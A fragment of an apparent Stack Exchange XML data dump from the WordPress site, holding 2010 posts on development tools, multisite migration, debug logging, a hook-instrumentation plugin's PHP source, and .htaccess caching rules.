LastEditDate="2010-09-14T17:37:50.633" LastActivityDate="2011-01-13T08:43:07.750" Title="Cleanup uploads folder, Media Library db structure" Tags="&lt;media&gt;&lt;upgrade&gt;&lt;bulk-import&gt;&lt;cleanup&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="5" />
  <row Id="323" PostTypeId="2" ParentId="145" CreationDate="2010-08-13T19:08:33.243" Score="1" ViewCount="" Body="&lt;p&gt;Use under Linux Aptane IDE and and on Windows UltraEdit, also has an php-parser. Also i view all hins from the xDebug with the constant WP_DEBUG; define in wp-config.php. See also my &lt;a href=&quot;http://wpengineer.com/2011/our-wordpress-developer-toolbox/&quot; rel=&quot;nofollow&quot;&gt;post to this topic&lt;/a&gt; and feel free tp comment this and give feedback about your developet tools&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T19:08:33.243" />
  <row Id="324" PostTypeId="1" AcceptedAnswerId="1886" CreationDate="2010-08-13T19:36:33.113" Score="20" ViewCount="1735" Body="&lt;p&gt;What software do you use for your WordPress related needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please state your OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows XP I use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;filezilla (FTP)&lt;/li&gt;&#xA;&lt;li&gt;notepad++ (for reading of PHP / CSS files)&lt;/li&gt;&#xA;&lt;li&gt;firebug  (a firefox extension to allow me to play with a website elements)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other things which I don't use regularly, but would like to use more&#xA; - xaamp (local version of WP)&#xA; - github/SVN (a version control system for my files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about you?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T00:47:55.540" LastActivityDate="2011-09-05T20:51:57.840" CommunityOwnedDate="2010-08-13T19:36:33.113" Title="Software for WordPress Theme and Plugin Development?" Tags="&lt;theme-development&gt;&lt;plugin-development&gt;" AnswerCount="25" CommentCount="1" FavoriteCount="29" />
  <row Id="325" PostTypeId="2" ParentId="324" CreationDate="2010-08-13T19:40:36.113" Score="0" ViewCount="" Body="&lt;p&gt;On Windows XP I use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FileZilla (FTP)&lt;/li&gt;&#xA;&lt;li&gt;Dreamweaver (PHP/CSS/JS)&lt;/li&gt;&#xA;&lt;li&gt;Firebug (a lot of debugging)&lt;/li&gt;&#xA;&lt;li&gt;IETester (To make sure things don't explode in IE6)&lt;/li&gt;&#xA;&lt;li&gt;WAMP (To run a local testing server)&lt;/li&gt;&#xA;&lt;li&gt;Tortoise SVN (To track local changes and sync with the WP Plug-in Repository)&lt;/li&gt;&#xA;&lt;li&gt;Flyspray (an online bug tracker I run on a hosted server)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-13T19:40:36.113" CommunityOwnedDate="2010-08-13T19:40:36.113" />
  <row Id="326" PostTypeId="2" ParentId="324" CreationDate="2010-08-13T19:43:01.193" Score="4" ViewCount="" Body="&lt;p&gt;xdebug (the best wy for write greate source and see the hints of WordPress, maybe depreaced functions) and also the possibilities of WordPress, like constant WP-DEBUG&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Debugging WP */&#xA;define('WP_DEBUG', true); //enable the reporting of notices during development - E_ALL&#xA;define('WP_DEBUG_DISPLAY', true); //use the globally configured setting for display_errors and not force errors to be displayed&#xA;define('WP_DEBUG_LOG', true); //error logging to wp-content/debug.log&#xA;define('SCRIPT_DEBUG', true); //loads the development (non-minified) versions of all    scripts and CSS and disables compression and concatenation,&#xA;//define('E_DEPRECATED', true); //E_ALL &amp;amp;amp; ~E_DEPRECATED &amp;amp;amp; ~E_STRICT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mor about my toolbox in &lt;a href=&quot;http://wpengineer.com/2011/our-wordpress-developer-toolbox/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; , but current i use Aptana as IDE, also GitHub for git/SVN.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T19:43:01.193" CommunityOwnedDate="2010-08-13T19:43:01.193" />
  <row Id="327" PostTypeId="2" ParentId="143" CreationDate="2010-08-13T19:47:23.757" Score="0" ViewCount="" Body="&lt;p&gt;I start always with &lt;a href=&quot;http://wpbasis.de&quot; rel=&quot;nofollow&quot;&gt;WPBasis&lt;/a&gt; as starter theme and write plugins and theme for the requirements of the customer - thats all&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T19:47:23.757" />
  <row Id="328" PostTypeId="1" CreationDate="2010-08-13T19:59:51.637" Score="0" ViewCount="128" Body="&lt;p&gt;I've done some reading about multisite over at WordPress.org and looking to see if I'm understanding correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current blog domain is somewhat locale restricted by name. However, much of my content is not. So, within the next 2 - 3 months I plan to use another domain that I own as a &quot;master&quot; domain and have my current site within that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that my current blog is structured on the host is like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WordPress URL: h..p://www.mysite.com/wordpress&lt;/li&gt;&#xA;&lt;li&gt;Site address URL: h..p://www.mysite.com&lt;/li&gt;&#xA;&lt;li&gt;Directory structure on the host: /home/myusername/mysite.com/wordpress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;According to the WordPress.org site: &quot;This means each additional site in your network will be created as a new virtual subdomain or subdirectory.&quot; So, what changes (if any) will I need to make to my current site in order for it to be a subdomain of the new site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. - hope this is clear. if not I can clarify later. at work now. &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2010-08-13T23:11:03.983" Title="Multi site clarification" Tags="&lt;installation&gt;&lt;admin&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="329" PostTypeId="2" ParentId="1" CreationDate="2010-08-13T20:18:47.613" Score="2" ViewCount="" Body="&lt;p&gt;Just found it; self-closing tags on void elements are valid html. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;In HTML5 we've allowed the / on void elements (like &amp;lt;meta&amp;gt;, &amp;lt;img&amp;gt;, &amp;lt;br&amp;gt;, &amp;lt;input&amp;gt;, etc), to ease migration to and from XML.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lists.whatwg.org/pipermail/help-whatwg.org/2008-August/000137.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.whatwg.org/pipermail/help-whatwg.org/2008-August/000137.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More infomation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.whatwg.org/wiki/FAQ#Should_I_close_empty_elements_with_.2F.3E_or_.3E.3F&quot; rel=&quot;nofollow&quot;&gt;http://wiki.whatwg.org/wiki/FAQ#Should_I_close_empty_elements_with_.2F.3E_or_.3E.3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-13T20:18:47.613" CommentCount="6" />
  <row Id="330" PostTypeId="2" ParentId="53" CreationDate="2010-08-13T20:52:00.920" Score="1" ViewCount="" Body="&lt;p&gt;See this &lt;a href=&quot;http://github.com/bueltge/different-type&quot; rel=&quot;nofollow&quot;&gt;example on github&lt;/a&gt; for an own meta boxes and add your specialy boxes for your type of content. You can also read &lt;a href=&quot;http://wpengineer.com/1991/example-how-to-add-meta-boxes-to-edit-area/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; for this example plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/S7C3W.png&quot; alt=&quot;screenshot of the example plugin&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T20:52:00.920" />
  <row Id="331" PostTypeId="2" ParentId="324" CreationDate="2010-08-13T20:54:09.790" Score="6" ViewCount="" Body="&lt;p&gt;I use both Mac and PC. Here are my respective toolboxes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a personal subversion repository on my server (Mediatemple dv)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both platforms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A local &lt;a href=&quot;http://phpxref.com&quot; rel=&quot;nofollow&quot;&gt;PHPXref&lt;/a&gt; running out of a constantly updated svn checkout of trunk&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;XAMPP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For PC (Vista Home Premium):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.putty.org/&quot; rel=&quot;nofollow&quot;&gt;Putty&lt;/a&gt; for an SSH CLI&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://notepad-plus-plus.org/&quot; rel=&quot;nofollow&quot;&gt;Notepad++&lt;/a&gt; with the &lt;a href=&quot;http://sourceforge.net/projects/nppftp/&quot; rel=&quot;nofollow&quot;&gt;NppFtp&lt;/a&gt; plugin as my text editor&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tortoisesvn.net/&quot; rel=&quot;nofollow&quot;&gt;TortoiseSVN&lt;/a&gt; for SVN&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;FileZilla&lt;/a&gt; (when I really have to. I usually just use SVN instead)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.spoon.net/browsers/&quot; rel=&quot;nofollow&quot;&gt;Spoon.net's browser sandbox&lt;/a&gt; for cross-browser testing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For Mac (OSX):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://panic.com/coda/&quot; rel=&quot;nofollow&quot;&gt;Coda&lt;/a&gt; for text editor, SVN, and SSH CLI&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://panic.com/transmit/&quot; rel=&quot;nofollow&quot;&gt;Transmit&lt;/a&gt; for FTP (again, I usually just use SVN) Parallels w/ Windows XP for cross-browser testing&lt;/li&gt;&#xA;&lt;li&gt;Terminal for SVN (sometimes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-13T20:54:09.790" CommunityOwnedDate="2010-08-13T20:54:09.790" CommentCount="2" />
  <row Id="332" PostTypeId="2" ParentId="319" CreationDate="2010-08-13T20:54:32.207" Score="0" ViewCount="" Body="&lt;p&gt;My vote would go toward making a plug-in.  Won't be overwritten by theme updates, and you can re-use it on other WP sites.  Writing plug-ins also helps one learn WordPress.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-13T20:54:32.207" />
  <row Id="333" PostTypeId="2" ParentId="319" CreationDate="2010-08-13T21:10:32.123" Score="0" ViewCount="" Body="&lt;p&gt;child themes is a great way, when yout feature a topic of the theme is; other is better as plugin. When you use a child theme, the is it great, when you use get_template_part() and not copy the complete template; its better for update the template and also use hooks for inlcude fetures in themes - better as the new template in the child theme; example. you will add a script to the head; use wp_enque_script or wp_head and not copy header.php in your child theme and add this in the code. When update the header.php in the basis-theme than wotks the update fine.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T21:10:32.123" />
  <row Id="334" PostTypeId="2" ParentId="62" CreationDate="2010-08-13T21:25:02.737" Score="0" ViewCount="" Body="&lt;p&gt;check that &lt;a href=&quot;http://buddypress.org/community/groups/bp-album/&quot; rel=&quot;nofollow&quot;&gt;http://buddypress.org/community/groups/bp-album/&lt;/a&gt; it might be helpful.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-08-13T21:25:02.737" />
  <row Id="335" PostTypeId="2" ParentId="324" CreationDate="2010-08-13T21:27:56.140" Score="0" ViewCount="" Body="&lt;p&gt;on OSX:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Aptana for code and svn.&lt;/li&gt;&#xA;&lt;li&gt;MAMP for the Apache server.&lt;/li&gt;&#xA;&lt;li&gt;YummyFTP for ftp.&lt;/li&gt;&#xA;&lt;li&gt;Safari.&lt;/li&gt;&#xA;&lt;li&gt;VMWare Fusion and Windows XP for&#xA;testing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-08-13T21:27:56.140" CommunityOwnedDate="2010-08-13T21:27:56.140" />
  <row Id="336" PostTypeId="2" ParentId="328" CreationDate="2010-08-13T23:11:03.983" Score="1" ViewCount="" Body="&lt;p&gt;Here is what I think you need to do  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a NEW multi site blog on the new &quot;master&quot; domain with WP 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new empty blog the the url h..p://www.mysite.com/oldblogname &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export you old site and input inport into the new blog &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to check that all the images get copied to the new site OK otherwise keep the old blog in place to serve the images&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you will have I nice new blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep it tidy you should put a 304 redirect from the old URL to the new URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should (not tested) into a .htacces file in the old blog folder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;#&#xA;RewriteRule ^(.*)$ http://www.websiteA.com/oldblogname/ $1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="176" LastActivityDate="2010-08-13T23:11:03.983" />
  <row Id="337" PostTypeId="2" ParentId="308" CreationDate="2010-08-13T23:25:02.603" Score="2" ViewCount="" Body="&lt;p&gt;Have a look at this plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-dummy-content/stats/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-dummy-content/stats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is random content so if you need to always to load the same content you will have to look at the code and create your own version.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One pain of theme development is&#xA;  setting up all the pages and blog&#xA;  posts in order for you to see how your&#xA;  site will look � one by one by one.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No more!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;WP-Dummy-Content is a WordPress plugin&#xA;  that will generate a bunch of pages,&#xA;  sub-pages and posts which you specify.&#xA;  Titles and content are automatically&#xA;  generated for you as well, and you&#xA;  have a few choices as to the type and&#xA;  length of content.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;One click generates an entire site.&#xA;  Choose what type of content to insert:&#xA;  single paragraph, multi paragraphs,&#xA;  styled (lists, blockquotes, links,&#xA;  etc.), or random. One click DELETES&#xA;  all content created by the plugin!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="176" LastActivityDate="2010-08-13T23:25:02.603" CommentCount="3" />
  <row Id="338" PostTypeId="2" ParentId="145" CreationDate="2010-08-14T00:19:59.507" Score="1" ViewCount="" Body="&lt;p&gt;I wrote a little class for make a logfile, is very useful when you are debugging ajax calls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://github.com/hunk/Magic-Fields/blob/master/tools/debug.php&quot; rel=&quot;nofollow&quot;&gt;http://github.com/hunk/Magic-Fields/blob/master/tools/debug.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only needs do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debug::log(&quot;This is a debug message&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that line  is executed a  the message will be added in the log  file  and  after that  you can use  the tail command  (if you are using some unix's  style operative system)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tail -f  mylogfile.log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can pass to this function a array or a object as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt; you needs  change the line 20 for a path where you want save your log file&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2010-08-14T00:19:59.507" />
  <row Id="339" PostTypeId="2" ParentId="307" CreationDate="2010-08-14T02:09:54.647" Score="19" ViewCount="" Body="&lt;p&gt;@Arlen: As Keith S points out &lt;a href=&quot;http://adambrown.info/p/wp_hooks&quot; rel=&quot;nofollow&quot;&gt;Adam Brown's List of Hooks&lt;/a&gt; is the defacto resource of hooks for WordPress. However, it's not perfect:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It doesn't show the hooks in order of when they are called,&lt;/li&gt;&#xA;&lt;li&gt;It doesn't provide file name or line number where invoked,&lt;/li&gt;&#xA;&lt;li&gt;It doesn't provide a number of arguments passed,&lt;/li&gt;&#xA;&lt;li&gt;It's not a complete list because some hooks can be called dynamically,&lt;/li&gt;&#xA;&lt;li&gt;And it doesn't show hooks from plugins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So while Adam's list is a great resource especially for understanding when hooks were historically added it's not nearly as useful as if you were able to instrument the hooks on any given page on your own site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been toying with this idea for a while so your question triggered me to write a &lt;strong&gt;plugin&lt;/strong&gt; called &quot;&lt;strong&gt;&lt;em&gt;Instrument Hooks for WordPress&lt;/em&gt;&lt;/strong&gt;.&quot; You can find the &lt;strong&gt;&lt;em&gt;full source below&lt;/em&gt;&lt;/strong&gt; the screen shot and can you can also &lt;strong&gt;download it from gist &lt;a href=&quot;http://gist.github.com/523831&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's a screenshot of what the instrumentation looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/OzW4l.png&quot; alt=&quot;Screenshot of Instrument Hooks for WordPress Plugin in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You trigger the instrumentation by using the URL parameter &lt;code&gt;instrument=hooks&lt;/code&gt;, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com?instrument=hooks&quot; rel=&quot;nofollow&quot;&gt;http://example.com?instrument=hooks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And as promised, here's the source (or download it &lt;a href=&quot;http://gist.github.com/523831&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Instrument Hooks for WordPress&#xA;Description: Instruments Hooks for a Page. Outputs during the Shutdown Hook.&#xA;Version: 0.1&#xA;Author: Mike Schinkel&#xA;Author URI: http://mikeschinkel.com&#xA;*/&#xA;&#xA;if ($_GET['instrument']=='hooks') {&#xA;&#xA;    add_action('shutdown','instrument_hooks');&#xA;    function instrument_hooks() {&#xA;        global $wpdb;&#xA;        $hooks = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM wp_hook_list ORDER BY first_call&quot;);&#xA;        $html = array();&#xA;        $html[] = '&amp;lt;style&amp;gt;#instrumented-hook-list table,#instrumented-hook-list th,#instrumented-hook-list td {border:1px solid gray;padding:2px 5px;}&amp;lt;/style&amp;gt;&#xA;&amp;lt;div align=&quot;center&quot; id=&quot;instrumented-hook-list&quot;&amp;gt;&#xA;    &amp;lt;table&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;First Call&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Hook Name&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Hook Type&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Arg Count&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Called By&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Line #&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;File Name&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;';&#xA;        foreach($hooks as $hook) {&#xA;            $html[] = &quot;&amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;first_call}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;hook_name}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;hook_type}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;arg_count}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;called_by}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;line_num}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{$hook-&amp;gt;file_name}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&quot;;&#xA;        }&#xA;        $html[] = '&amp;lt;/table&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        echo implode(&quot;\n&quot;,$html);&#xA;    }&#xA;&#xA;    add_action('all','record_hook_usage');&#xA;    function record_hook_usage($hook){&#xA;        global $wpdb;&#xA;        static $in_hook = false;&#xA;        static $first_call = 1;&#xA;        static $doc_root;&#xA;        $callstack = debug_backtrace();&#xA;        if (!$in_hook) {&#xA;            $in_hook = true;&#xA;            if ($first_call==1) {&#xA;                $doc_root = $_SERVER['DOCUMENT_ROOT'];&#xA;                $results = $wpdb-&amp;gt;get_results(&quot;SHOW TABLE STATUS LIKE 'wp_hook_list'&quot;);&#xA;                if (count($results)==1) {&#xA;                    $wpdb-&amp;gt;query(&quot;TRUNCATE TABLE wp_hook_list&quot;);&#xA;                } else {&#xA;                    $wpdb-&amp;gt;query(&quot;CREATE TABLE wp_hook_list (&#xA;                    called_by varchar(96) NOT NULL,&#xA;                    hook_name varchar(96) NOT NULL,&#xA;                    hook_type varchar(15) NOT NULL,&#xA;                    first_call int(11) NOT NULL,&#xA;                    arg_count tinyint(4) NOT NULL,&#xA;                    file_name varchar(128) NOT NULL,&#xA;                    line_num smallint NOT NULL,&#xA;                    PRIMARY KEY (first_call,hook_name))&quot;&#xA;                    );&#xA;                }&#xA;            }&#xA;            $args = func_get_args();&#xA;            $arg_count = count($args)-1;&#xA;            $hook_type = str_replace('do_','',&#xA;                str_replace('apply_filters','filter',&#xA;                    str_replace('_ref_array','[]',&#xA;                        $callstack[3]['function'])));&#xA;            $file_name = str_replace($doc_root,'',$callstack[3]['file']);&#xA;            $line_num = $callstack[3]['line'];&#xA;            $called_by = $callstack[4]['function'];&#xA;            $wpdb-&amp;gt;query(&quot;INSERT wp_hook_list&#xA;                (first_call,called_by,hook_name,hook_type,arg_count,file_name,line_num)&#xA;                VALUES ($first_call,'$called_by()','$hook','$hook_type',$arg_count,'$file_name',$line_num)&quot;);&#xA;            $first_call++;&#xA;            $in_hook = false;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-14T02:09:54.647" CommentCount="9" />
  <row Id="340" PostTypeId="2" ParentId="199" CreationDate="2010-08-14T02:19:00.537" Score="12" ViewCount="" Body="&lt;p&gt;Set client-side expiries for things like css, images, JavaScript etc which don't need to be redownloaded for each page view.  This, by far, made the biggest difference to my site loading times. The fastest download is the download that never happened ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN Expire headers&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;  ExpiresActive On&#xA;  ExpiresDefault &quot;access plus 7200 seconds&quot;&#xA;  ExpiresByType image/x-icon &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType application/x-shockwave-flash &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType text/javascript &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType application/x-javascript &quot;access plus 2592000 seconds&quot;&#xA;  ExpiresByType text/html &quot;access plus 7200 seconds&quot;&#xA;  ExpiresByType application/xhtml+xml &quot;access plus 7200 seconds&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END Expire headers&#xA;&#xA;# BEGIN Cache-Control Headers&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  &amp;lt;FilesMatch &quot;\\.(ico|jpe?g|png|gif|swf|gz)$&quot;&amp;gt;&#xA;    Header set Cache-Control &quot;max-age=2592000, public&quot;&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;  &amp;lt;FilesMatch &quot;\\.(css)$&quot;&amp;gt;&#xA;    Header set Cache-Control &quot;max-age=2592000, public&quot;&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;  &amp;lt;FilesMatch &quot;\\.(js)$&quot;&amp;gt;&#xA;    Header set Cache-Control &quot;max-age=2592000, private&quot;&#xA;  &amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;filesMatch &quot;\\.(html|htm)$&quot;&amp;gt;&#xA;Header set Cache-Control &quot;max-age=7200, public&quot;&#xA;&amp;lt;/filesMatch&amp;gt;&#xA;# Disable caching for scripts and other dynamic files&#xA;&amp;lt;FilesMatch &quot;\.(pl|php|cgi|spl|scgi|fcgi)$&quot;&amp;gt;&#xA;Header unset Cache-Control&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END Cache-Control Headers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may pre-gzip everything you reasonably can (7-zip is a good tool for this) &amp;amp; upload it in the same place as the file you just gzipped. Change .htaccess to serve the pre-gzipped files, as below. The caveat here is you need to remember to re-gzip them if/when you update things. This cuts out the CPU overhead, apart from parsing .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;#Check to see if browser can accept gzip files. If so and we have it - serve it!&#xA;ReWriteCond %{HTTP:accept-encoding} gzip&#xA;RewriteCond %{HTTP_USER_AGENT} !Safari&#xA;#make sure there's no trailing .gz on the url&#xA;ReWriteCond %{REQUEST_FILENAME} !^.+\.gz$&#xA;#check to see if a .gz version of the file exists.&#xA;RewriteCond %{REQUEST_FILENAME}.gz -f&#xA;#All conditions met so add .gz to URL filename (invisibly)&#xA;RewriteRule ^(.+) $1.gz [QSA,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a raw answer. There are a lot of variations on this theme. I blogged about this and added quite a few references to more in-depth articles at &lt;a href=&quot;http://icanhazdot.net/2010/03/23/some-wordpress-stuff/&quot; rel=&quot;nofollow&quot;&gt;http://icanhazdot.net/2010/03/23/some-wordpress-stuff/&lt;/a&gt;. Read that and, more importantly, the references I point to - they are good resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that if you tinker often then users will need to refresh their cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin I found very useful too is &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-minify/&quot; rel=&quot;nofollow&quot;&gt;wp-minify&lt;/a&gt;. The thing to watch with this one is that you should exclude page-specific items (contact form, front page slider etc) so you're not re-downloading the whole set of css, JS etc for each page. It is a good way to minify, combine &amp;amp; compress your baseline CSS, JS etc. It cuts down on http requests a lot. Wp-minify plays well with supercache and also with expiry headers  that I detailed above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Yslow in Firebug (Firefox) or similar to monitor your http requests and what is and isn't compressed. Have a look at expiry headers in there too. You will soon see what you can improve.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2010-08-14T02:19:00.537" CommentCount="2" />
